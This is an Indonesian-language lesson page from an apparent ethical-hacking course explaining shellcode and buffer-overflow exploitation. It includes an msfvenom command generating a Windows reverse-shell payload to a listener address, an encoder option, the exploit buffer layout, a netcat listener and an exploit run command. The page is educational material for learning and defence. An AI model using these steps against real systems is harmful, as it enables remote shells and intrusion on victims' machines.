Shellcode dan Eksploitasi
Mendapatkan shell
Shellcode dan Eksploitasi adalah pelajaran Ethical Hacking Academy gratis di CoddyKit. Ini adalah pelajaran 4 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar Ethical Hacking Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus Ethical Hacking Academy mencakup 4 pelajaran total.
Apa Itu Kode Shell?
Kode shell adalah potongan kecil kode mesin yang melakukan suatu tindakan saat dieksekusi, biasanya membuka shell. Kode ini merupakan muatan yang menjadi tujuan pengalihan eksekusi setelah Anda mengendalikan EIP.
Kode ini ditulis sebagai bita mentah (opcode) agar dapat langsung disisipkan ke memori.
Jenis Muatan
Tujuan muatan yang umum antara lain:
- Bind shell: membuka port yang mendengarkan pada komputer korban.
- Reverse shell: terhubung kembali ke penyerang (lebih baik melalui firewall/NAT).
- Menjalankan perintah: menjalankan satu perintah, seperti menambahkan pengguna.
Reverse shell paling umum digunakan dalam keterlibatan nyata.
Membuat dengan msfvenom
msfvenom membuat muatan. Anda menentukan jenis muatan, alamat dan port pendengar, format keluaran, serta karakter terlarang yang harus dihindari.
Tanda -b mengecualikan karakter terlarang; -f menetapkan format keluaran.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cMengapa Pengodean Diperlukan
Kode shell mentah sering mengandung karakter terlarang (seperti bita null). Pengode mengubah muatan untuk menghindari bita tersebut, lalu menambahkan stub pendek pengurai kode yang memulihkan kode asli saat runtime.
Pengode klasiknya adalah x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"Pengurai Kode dan Modifikasi Mandiri
Kode shell yang dikodekan mengurai dirinya sendiri di memori sebelum berjalan. Modifikasi mandiri ini memerlukan sedikit ruang tambahan pada stack, sehingga NOP sled dan ruang buffer yang memadai dapat membantu.
Terkadang Anda harus menyesuaikan ESP terlebih dahulu agar pengurai kode tidak merusak kodenya sendiri.
Menyusun Eksploit Akhir
Buffer eksploit lengkapnya adalah:
- Padding hingga offset.
- Alamat pengembalian JMP ESP.
- NOP sled.
- Kode shell yang telah dikodekan.
Kirimkan ini ke input yang rentan, dan eksekusi akan mengalir ke muatan Anda.
buf = "A"*offset + ret + "\x90"*16 + shellcodeMenyiapkan Pendengar
Untuk shell terbalik, Anda harus mulai mendengarkan pada mesin Anda sebelum memicu eksploitasi. Pendengar Netcat sederhana akan menangkap koneksi masuk.
Untuk muatan bertahap, gunakan multi/handler milik Metasploit.
nc -lvnp 4444Menjalankan Eksploitasi
Setelah pendengar siap, kirim buffer yang telah dibuat ke target. Jika semuanya sesuai, kode shell akan berjalan dan pendengar Anda menerima shell pada mesin korban.
Sekarang Anda memiliki eksekusi perintah dengan hak akses proses yang rentan.
python exploit.py 10.0.0.20 9999Pemecahan Masalah
Jika gagal, periksa penyebab umum berikut:
- Ada karakter buruk yang masuk ke dalam kode shell atau alamat pengembalian.
- Lintasan NOP terlalu pendek.
- Dekoder tidak memiliki ruang yang cukup pada stack (sesuaikan ESP).
- Offset atau urutan endian salah.
Penelusuran kesalahan secara sistematis di debugger membantu mengisolasi masalah.
Melampaui Overflow Klasik
Dengan DEP dan ASLR yang diaktifkan, kode shell biasa pada stack tidak akan berjalan. Eksploitasi modern menggunakan Pemrograman Berorientasi Pengembalian (ROP) untuk merangkai gadget kode yang sudah ada, serta kebocoran informasi untuk mengatasi ASLR.
Kursus ini mengajarkan dasar yang menjadi landasan teknik-teknik tingkat lanjut tersebut.
Bertahap vs Tanpa Tahap
Muatan hadir dalam dua bentuk. Muatan tanpa tahap berisi seluruh kode shell dalam satu blob. Muatan bertahap mengirim stub kecil yang mengunduh sisanya dari penangan Anda.
Muatan bertahap dapat dimasukkan ke dalam buffer yang lebih kecil, tetapi memerlukan penangan yang sesuai seperti multi/handler milik Metasploit untuk mengirim tahap kedua.
Pemeriksaan Singkat
Ingat kembali alasan kode shell sering dikodekan.
Ringkasan
Anda telah menyelesaikan rangkaian eksploitasi:
- Kode shell adalah muatan; shell terbalik paling praktis digunakan.
- Buat dan kodekan dengan msfvenom untuk menghindari karakter buruk.
- Rangkai padding + JMP ESP + lintasan NOP + kode shell, mulai pendengar, lalu jalankan.
- Target modern memerlukan ROP dan kebocoran informasi untuk mengatasi DEP/ASLR.
Anda telah menyelesaikan kursus Eksploitasi Buffer Overflow.
Pertanyaan yang Sering Diajukan
Apakah pelajaran “Shellcode dan Eksploitasi” gratis?
Ya — teks lengkap “Shellcode dan Eksploitasi” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus Ethical Hacking Academy, upgrade ke CoddyKit PRO. Kursus Ethical Hacking Academy mencakup 4 pelajaran total.
Apa yang akan aku pelajari di “Shellcode dan Eksploitasi”?
Mendapatkan shell Kamu berlatih Ethical Hacking Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.
Apakah aku perlu pengalaman untuk memulai Ethical Hacking Academy?
Tidak diperlukan pengalaman sebelumnya. Ethical Hacking Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 4 dari 4.
Berapa lama pelajaran “Shellcode dan Eksploitasi” memakan waktu?
Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.
Bisakah aku menulis dan menjalankan kode dalam pelajaran Ethical Hacking Academy ini?
Ya. Setiap pelajaran Ethical Hacking Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.
Semua pelajaran dalam kursus ini
- Memori dan Stack
- Fuzzing untuk Menemukan Crash
- Mengendalikan EIP
- Shellcode dan Eksploitasi